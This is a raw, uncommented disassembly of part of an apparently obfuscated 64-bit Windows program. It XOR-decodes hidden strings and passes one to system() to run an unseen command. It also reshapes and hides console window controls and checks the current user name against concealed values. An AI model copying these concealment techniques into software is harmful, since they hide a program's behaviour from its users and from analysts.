mov rcx, rdx
mov r9, rbx
shl r9, cl
xor r9, r10
xor r9, rsi
mov qword [rsp + 0x38], r9
movzx eax, byte [rsp + r14 + 0x3e]
xor byte [rbp + r14 + 0xb7e], al
mov ecx, r12d
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rax, qword [rbp + 0xb80]
shl rax, cl
xor qword [rbp + 0xb78], rax
lea r8d, [r11 + 0x38]
lea eax, [r13 + 7]
mov ecx, r8d
test eax, eax
cmove ecx, r12d
movsxd rcx, ecx
xor edx, edx
mov rax, r15
div rcx
mov rcx, rdx
mov r11, rbx
shl r11, cl
xor r11, r9
xor r11, rsi
mov qword [rsp + 0x38], r11
movzx eax, byte [rsp + r14 + 0x3f]
xor byte [rbp + r14 + 0xb7f], al
mov ecx, r12d
test r8d, r8d
cmovg ecx, r8d
mov eax, 0x40
sub eax, ecx
movzx ecx, al
mov rdx, qword [rsp + 0x68]
shl rdx, cl
xor rdx, qword [rbp + 0xb78]
mov qword [rbp + 0xb78], rdx
add r13d, r12d
lea r14, [r14 + 8]
cmp r13d, r12d
jb 0x140045df1
movzx edi, byte [rsp + 0x34]
imul r8, rdi, 0xff
not r8
movzx eax, byte [rsp + 0x30]
shl rax, 7
sub r8, rax
mov r12, qword [rbp - 0x30]
and r12, rdx
xor r8, r12
mov rdx, qword [rbp + 0x1050]
cmp r8, rdx
mov r15d, 0
je 0x140046173
mov rbx, qword [0x14060d088]
lea rcx, [rbp + 0xb40]
call fcn.140007d30
lea rdx, [rbp + 0x1030]
mov rcx, rax
call rbx
lea rdx, [rbp + 0x1030]
lea rcx, [rbp + 0x17e8]
call fcn.1400073a0
nop
lea rdx, [rbp + 0x17e8]
lea rcx, [rbp + 0x16b8]
call fcn.1400073a0
mov r12, qword [rbp + 0x16c8]
lea rcx, [rbp + 0x16b8]
call fcn.140016e90
mov rdi, rax
lea r13, [0x140000000]
cmp byte [0x14060c2d0], 0
jne 0x140046396
mov rsi, r15
movabs r14, 0x101010101010101
lea rcx, [rbp - 0x30]
call fcn.14002db50
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, qword [rbp - 0x30]
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0xf
add rax, rdx
and eax, 0xf
sub rax, rdx
inc rax
xor rax, 0x10
shl rax, 0xa
or rax, r14
mov qword [rsi + r13 + 0x60c2e0], rax
lea rcx, [rbp + 0x570]
call fcn.14002db50
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x1f
add rax, rdx
and eax, 0x1f
sub rax, rdx
inc rax
xor rax, 0x20
shl rax, 0xb
or rax, r14
mov qword [rsi + r13 + 0x60c360], rax
lea rcx, [rbp + 0x580]
call fcn.14002db50
mov rbx, qword [rax]
mov qword [rbp - 0x30], rbx
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, rbx
cqo
idiv rcx
mov rax, rdx
cqo
and edx, 0x3f
add rax, rdx
and eax, 0x3f
sub rax, rdx
inc rax
xor rax, 0x40
shl rax, 0xc
or rax, r14
mov qword [rsi + r13 + 0x60c3e0], rax
add rsi, 8
cmp rsi, 0x80
jl 0x1400461d1
lea rcx, [rbp - 0x38]
call fcn.14002db50
mov esi, r15d
lea r14, [0x14060c460]
mov rbx, qword [rbp - 0x38]
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x1400462e4
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
inc esi
inc r14
cmp esi, 4
jb 0x1400462d0
lea rcx, [rbp + 0x5c0]
call fcn.14002db50
mov esi, r15d
lea r14, [0x14060c464]
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x14004632c
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
inc esi
inc r14
cmp esi, 8
jb 0x140046318
lea rcx, [rbp + 0x5c8]
call fcn.14002db50
mov esi, r15d
lea r14, [0x14060c46c]
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000000f
jge 0x140046374
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx rcx, al
mov rax, rbx
cqo
idiv rcx
mov byte [r14], dl
inc esi
inc r14
cmp esi, 0xc
jb 0x140046360
mov byte [0x14060c2d0], 1
test r12, r12
je 0x14004663b
mov ebx, r15d
lea r14, [0x14060c460]
nop dword [rax]
mov r11d, r15d
movzx eax, byte [rdi]
mov r9, r14
nop dword [rax]
mov r10d, r15d
mov r8, r15
nop word [rax + rax]
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e0]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e1]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e2]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e3]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e4]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e5]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e6]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e7]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
add r10d, 8
lea r8, [r8 + 8]
cmp r10d, 8
jb 0x1400463d0
inc r11d
inc r9
cmp r11d, 4
jb 0x1400463c0
mov r11d, r15d
lea r9, [0x14060c464]
mov r10d, r15d
mov r8, r15
nop word [rax + rax]
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c360]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c361]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c362]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c363]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c364]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c365]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c366]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c367]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
add r10d, 8
lea r8, [r8 + 8]
cmp r10d, 8
jb 0x1400464a0
inc r11d
inc r9
cmp r11d, 8
jb 0x140046494
mov r11d, r15d
lea r9, [0x14060c46c]
mov r10d, r15d
mov r8, r15
nop word [rax + rax]
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e0]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e1]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e2]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e3]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e4]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e5]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e6]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
movzx edx, byte [r9]
lea rcx, [r8 + 0x60c2e7]
add rcx, r13
xor al, byte [rcx + rdx*8]
mov byte [rdi], al
add r10d, 8
lea r8, [r8 + 8]
cmp r10d, 8
jb 0x140046570
inc r11d
inc r9
cmp r11d, 0xc
jb 0x140046564
inc ebx
inc rdi
movsxd rax, ebx
cmp rax, r12
jb 0x1400463b0
lea rcx, [rbp + 0x17e8]
call fcn.140003990
nop
lea rdx, [rbp + 0x16b8]
mov rcx, qword [rsp + 0x78]
call fcn.140004d40
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x16b8]
call fcn.140003990
nop
lea rcx, [rbp + 0x1030]
call fcn.140008a00
mov eax, dword [str.S_A3Q1]
mov dword [rbp - 0x14], eax
mov r13d, Ordinal_32
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x140200f97], 0
je 0x14004677f
cmp r12d, 2
jl 0x14004673b
movdqa xmm3, xmmword [0x140201780]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1402017c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1402017c0]
shufps xmm2, xmm0, 0xdd
mov ecx, 1
movd xmm0, ecx
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402017a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1402017d0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp - 0x14], xmm2
jmp 0x14004677f
lea r9, [rbp - 0x14]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140046750
lea rcx, [rbp - 0x14]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14002d3a0
lea rdx, [0x14000a870]
lea rcx, [rbp + 0x5f0]
call fcn.1400049d0
nop
lea rdx, [0x14000a7f0]
lea rcx, [rbp + 0x510]
call fcn.1400049d0
nop
lea rcx, [rbp + 0x5f0]
call fcn.14001dd40
lea rcx, [rbp + 0x510]
call fcn.14001dd40
lea rdx, [0x14000a8a0]
lea rcx, [rbp + 0x520]
call fcn.1400049d0
nop
lea rcx, [rbp + 0x520]
call fcn.14001dd40
call fcn.140043c60
lea rcx, [rbp + 0x9d0]
call fcn.140007ec0
nop
lea rcx, [rbp + 0x9d0]
call fcn.140016a20
mov dl, 1
lea rcx, [rbp + 0x9d0]
call fcn.14002d9b0
call fcn.140024e10
lea rcx, [rbp + 0x9d0]
call fcn.140044940
mov dl, 1
lea rcx, [rbp + 0x9d0]
call fcn.140040d40
lea rcx, [rbp + 0x9d0]
call fcn.1400410f0
movzx eax, word [0x140200f98]
mov word [rsp + 0x30], ax
cmp byte [0x140200f99], 0
je 0x140046864
mov byte [rsp + 0x30], 0x61
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1fd0]
call fcn.140007470
nop
movzx eax, word [0x140200f9c]
mov word [rsp + 0x30], ax
cmp byte [0x140200f9d], 0
je 0x140046895
mov byte [rsp + 0x30], 0x62
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1dd0]
call fcn.140007470
nop
movzx eax, word [0x140200fa0]
mov word [rsp + 0x30], ax
cmp byte [0x140200fa1], 0
je 0x1400468c6
mov byte [rsp + 0x30], 0x63
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1df0]
call fcn.140007470
nop
movzx eax, word [0x140200fa4]
mov word [rsp + 0x30], ax
cmp byte [0x140200fa5], 0
je 0x1400468f7
mov byte [rsp + 0x30], 0x64
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1e10]
call fcn.140007470
nop
movzx eax, word [0x140200fa8]
mov word [rsp + 0x30], ax
cmp byte [0x140200fa9], 0
je 0x140046928
mov byte [rsp + 0x30], 0x65
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1e30]
call fcn.140007470
nop
movzx eax, word [0x140200fac]
mov word [rsp + 0x30], ax
cmp byte [0x140200fad], 0
je 0x140046959
mov byte [rsp + 0x30], 0x66
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1e50]
call fcn.140007470
nop
movzx eax, word [0x140200fb0]
mov word [rsp + 0x30], ax
cmp byte [0x140200fb1], 0
je 0x14004698a
mov byte [rsp + 0x30], 0x67
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1e70]
call fcn.140007470
nop
movzx eax, word [0x140200fb4]
mov word [rsp + 0x30], ax
cmp byte [0x140200fb5], 0
je 0x1400469bb
mov byte [rsp + 0x30], 0x68
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1e90]
call fcn.140007470
nop
movzx eax, word [0x140200fb8]
mov word [rsp + 0x30], ax
cmp byte [0x140200fb9], 0
je 0x1400469ec
mov byte [rsp + 0x30], 0x69
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1eb0]
call fcn.140007470
nop
movzx eax, word [0x140200fbc]
mov word [rsp + 0x30], ax
cmp byte [0x140200fbd], 0
je 0x140046a1d
mov byte [rsp + 0x30], 0x6a
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1ef0]
call fcn.140007470
nop
movzx eax, word [0x140200fc0]
mov word [rsp + 0x30], ax
cmp byte [0x140200fc1], 0
je 0x140046a4e
mov byte [rsp + 0x30], WSAGetLastError
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1f10]
call fcn.140007470
nop
movzx eax, word [0x140200fc4]
mov word [rsp + 0x30], ax
cmp byte [0x140200fc5], 0
je 0x140046a7f
mov byte [rsp + 0x30], WSAGetLastError
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x2030]
call fcn.140007470
nop
movzx eax, word [0x140200fc8]
mov word [rsp + 0x30], ax
cmp byte [0x140200fc9], 0
je 0x140046ab0
mov byte [rsp + 0x30], WSAGetLastError
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1f30]
call fcn.140007470
nop
movzx eax, word [0x140200fcc]
mov word [rsp + 0x30], ax
cmp byte [0x140200fcd], 0
je 0x140046ae1
mov byte [rsp + 0x30], WSAGetLastError
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1f50]
call fcn.140007470
nop
movzx eax, word [0x140200fd0]
mov word [rsp + 0x30], ax
cmp byte [0x140200fd1], 0
je 0x140046b12
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSAGetLastError
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1f70]
call fcn.140007470
nop
movzx eax, word [0x140200fd4]
mov word [rsp + 0x30], ax
cmp byte [0x140200fd5], 0
je 0x140046b43
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSASetLastError
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1f90]
call fcn.140007470
nop
movzx eax, word [0x140200fd8]
mov word [rbp - 0x80], ax
cmp byte [0x140200fd9], 0
je 0x140046b71
mov byte [rbp - 0x80], WSACleanup
xor byte [rbp - 0x7f], 0x31
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1fb0]
call fcn.140007470
nop
movzx eax, word [0x140200fdc]
mov word [rbp - 0x7c], ax
cmp byte [0x140200fdd], 0
je 0x140046b9e
mov byte [rbp - 0x7c], WSACleanup
xor byte [rbp - 0x7b], 0x31
lea rdx, [rbp - 0x7c]
lea rcx, [rbp + 0x1ed0]
call fcn.140007470
nop
movzx eax, word [0x140200fe0]
mov word [rbp - 0x78], ax
cmp byte [0x140200fe1], 0
je 0x140046bcb
mov byte [rbp - 0x78], reloc.WS2_32.dll_WSAStartup
xor byte [rbp - 0x77], 0x31
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x2010]
call fcn.140007470
nop
movzx eax, word [0x140200fe4]
mov word [rbp - 0x64], ax
cmp byte [0x140200fe5], 0
je 0x140046bf8
mov byte [rbp - 0x64], reloc.WS2_32.dll_WSACleanup
xor byte [rbp - 0x63], 0x31
lea rdx, [rbp - 0x64]
lea rcx, [rbp + 0x1ff0]
call fcn.140007470
nop
movzx eax, word [0x140200fe8]
mov word [rbp - 0x74], ax
cmp byte [0x140200fe9], 0
je 0x140046c25
mov byte [rbp - 0x74], 0x75
xor byte [rbp - 0x73], 0x31
lea rdx, [rbp - 0x74]
lea rcx, [rbp + 0x1d10]
call fcn.140007470
nop
movzx eax, word [0x140200fec]
mov word [rbp - 0x70], ax
cmp byte [0x140200fed], 0
je 0x140046c52
mov byte [rbp - 0x70], 0x76
xor byte [rbp - 0x6f], 0x31
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1d30]
call fcn.140007470
nop
movzx eax, word [0x140200ff0]
mov word [rsp + 0x30], ax
cmp byte [0x140200ff1], 0
je 0x140046c82
mov byte [rsp + 0x30], 0x77
xor byte [rsp + 0x31], 0x31
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1d50]
call fcn.140007470
nop
movzx eax, word [0x140200ff4]
mov word [rbp - 0x6c], ax
cmp byte [0x140200ff5], 0
je 0x140046cb0
mov byte [rbp - 0x6c], 0x78
xor byte [rbp - 0x6b], 0x31
lea rdx, [rbp - 0x6c]
lea rcx, [rbp + 0x1d70]
call fcn.140007470
nop
movzx eax, word [0x140200ff8]
mov word [rbp - 0x68], ax
cmp byte [0x140200ff9], 0
je 0x140046cdd
mov byte [rbp - 0x68], 0x79
xor byte [rbp - 0x67], 0x31
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x1d90]
call fcn.140007470
nop
movzx eax, word [0x140200ffc]
mov word [rsp + 0x70], ax
cmp byte [0x140200ffd], 0
je 0x140046d0d
mov byte [rsp + 0x70], 0x7a
xor byte [rsp + 0x71], 0x31
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x1db0]
call fcn.140007470
nop
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov r14, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rbx, rax
xor r8d, r8d
mov edx, 0xf030
mov rcx, rax
call qword [sym.imp.USER32.dll_RemoveMenu]
xor r8d, r8d
mov edx, 0xf020
mov rcx, rbx
call qword [sym.imp.USER32.dll_RemoveMenu]
mov rcx, r14
call qword [sym.imp.USER32.dll_DrawMenuBar]
mov edx, 0xfffffff0
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xfffcffff
mov r8d, eax
mov edx, 0xfffffff0
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov edx, 0xfffffff0
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowLongPtrA]
btr rax, 0x12
mov r8, rax
mov edx, 0xfffffff0
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r9d, 2
mov r8b, 0xe5
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, r14
call qword [sym.imp.USER32.dll_GetDC]
mov rsi, rax
lea rdx, [rbp + 0x1650]
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ebx, dword [rbp + 0x1658]
sub ebx, dword [rbp + 0x1650]
mov ecx, 2
call qword [sym.imp.USER32.dll_GetSysColor]
mov ecx, eax
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov rdi, rax
mov qword [rbp + 0x10d8], 0
mov dword [rbp + 0x10e0], ebx
mov ecx, 4
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbp + 0x10e4], eax
mov r8, rdi
lea rdx, [rbp + 0x10d8]
mov rcx, rsi
call qword [sym.imp.USER32.dll_FillRect]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.USER32.dll_ReleaseDC]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0xd88]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx eax, word [rbp + 0xd96]
sub ax, word [rbp + 0xd92]
inc ax
mov word [rsp + 0x38], ax
movzx eax, word [rbp + 0xd98]
sub ax, word [rbp + 0xd94]
inc ax
mov word [rsp + 0x3a], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rbp + 0xd88]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx edx, word [rbp + 0xd88]
mov word [rsp + 0x38], dx
movzx edx, word [rbp + 0xd8a]
mov word [rsp + 0x3a], dx
mov edx, dword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0xd88]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movsx eax, word [rbp + 0xd92]
movsx edi, word [rbp + 0xd96]
sub edi, eax
movups xmm0, xmmword [str.sCG_W_OEWUVe]
movups xmmword [rbp + 0x14a0], xmm0
movups xmm1, xmmword [0x140201010]
movups xmmword [rbp + 0x14b0], xmm1
movsd xmm0, qword [0x140201020]
movsd qword [rbp + 0x14c0], xmm0
mov eax, dword [0x140201028]
mov dword [rbp + 0x14c8], eax
movzx eax, word [0x14020102c]
mov word [rbp + 0x14cc], ax
movzx eax, byte [0x14020102e]
mov byte [rbp + 0x14ce], al
mov r8d, r15d
cmp r12d, 2
jl 0x1400470c7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0x14a4]
mov edx, dword [rbp + 0xb80]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140046fc0
cmp r8d, 0x2f
jge 0x14004710f
movsxd rax, r8d
lea r9, [rbp + 0x14a0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x1400470e0
lea rdx, [rbp + 0x14a0]
lea rcx, [rbp + 0x1ba8]
call fcn.140007470
mov rbx, rax
lea ecx, [rdi - 0xf]
movsxd rdx, ecx
mov r8b, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x1b88]
call fcn.140007680
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1bc8]
call fcn.140004da0
nop
lea rcx, [rbp + 0x1b88]
call fcn.140003990
nop
lea rcx, [rbp + 0x1ba8]
call fcn.140003990
lea rdx, [rbp + 0x1bc8]
lea rcx, [rbp + 0x16f8]
call fcn.1400073a0
nop
lea rcx, [rbp + 0x16f8]
call fcn.140016e90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [0x14060b6d0]
call fcn.1400ac000
mov dword [rbp - 8], 0x101
mov ecx, 0x101
call fcn.1400b76ac
mov rsi, rax
lea rdx, [rbp - 8]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rdx, rsi
lea rcx, [rbp + 0x1338]
call fcn.140007470
nop
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x1338]
call fcn.140016e70
mov rdi, qword [rax]
lea rdx, [rbp + 0x5d8]
lea rcx, [rbp + 0x1338]
call fcn.1400248d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x5e8]
lea rcx, [rbp + 0x1338]
call fcn.140016e70
mov rcx, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xb90]
call fcn.140006ec0
mov eax, dword [0x140201030]
mov dword [rbp + 0xbc0], eax
movzx eax, word [0x140201034]
mov word [rbp + 0xbc4], ax
mov byte [rbp + 0xbc0], WSAGetLastError
xor byte [rbp + 0xbc1], 0x31
xor byte [rbp + 0xbc2], 0x32
xor byte [rbp + 0xbc3], 0x33
xor al, 0x34
mov byte [rbp + 0xbc4], al
xor byte [rbp + 0xbc5], 0x35
lea rdx, [rbp + 0xbc0]
lea rcx, [rbp + 0x1888]
call fcn.140007470
nop
mov r14d, 0x3c0001
mov dword [rsp + 0x30], r14d
mov rdx, rax
lea rcx, [rbp + 0x1338]
call fcn.140004d60
test al, al
jne 0x140047319
mov eax, dword [0x140201038]
mov dword [rbp + 0xbe8], eax
movzx eax, word [0x14020103c]
mov word [rbp + 0xbec], ax
mov byte [rbp + 0xbe8], Ordinal_79
xor byte [rbp + 0xbe9], 0x31
xor byte [rbp + 0xbea], 0x32
xor byte [rbp + 0xbeb], 0x33
xor al, 0x34
mov byte [rbp + 0xbec], al
xor byte [rbp + 0xbed], 0x35
lea rdx, [rbp + 0xbe8]
lea rcx, [rbp + 0x1868]
call fcn.140007470
mov r14d, 0x3c0003
mov rdx, rax
lea rcx, [rbp + 0x1338]
call fcn.140004d60
test al, al
jne 0x140047319
xor bl, bl
jmp 0x14004731b
mov bl, 1
test r14b, 2
je 0x140047332
and r14d, 0xfffffffd
lea rcx, [rbp + 0x1868]
call fcn.140003990
nop
test r14b, 1
je 0x140047348
and r14d, 0xfffffffe
lea rcx, [rbp + 0x1888]
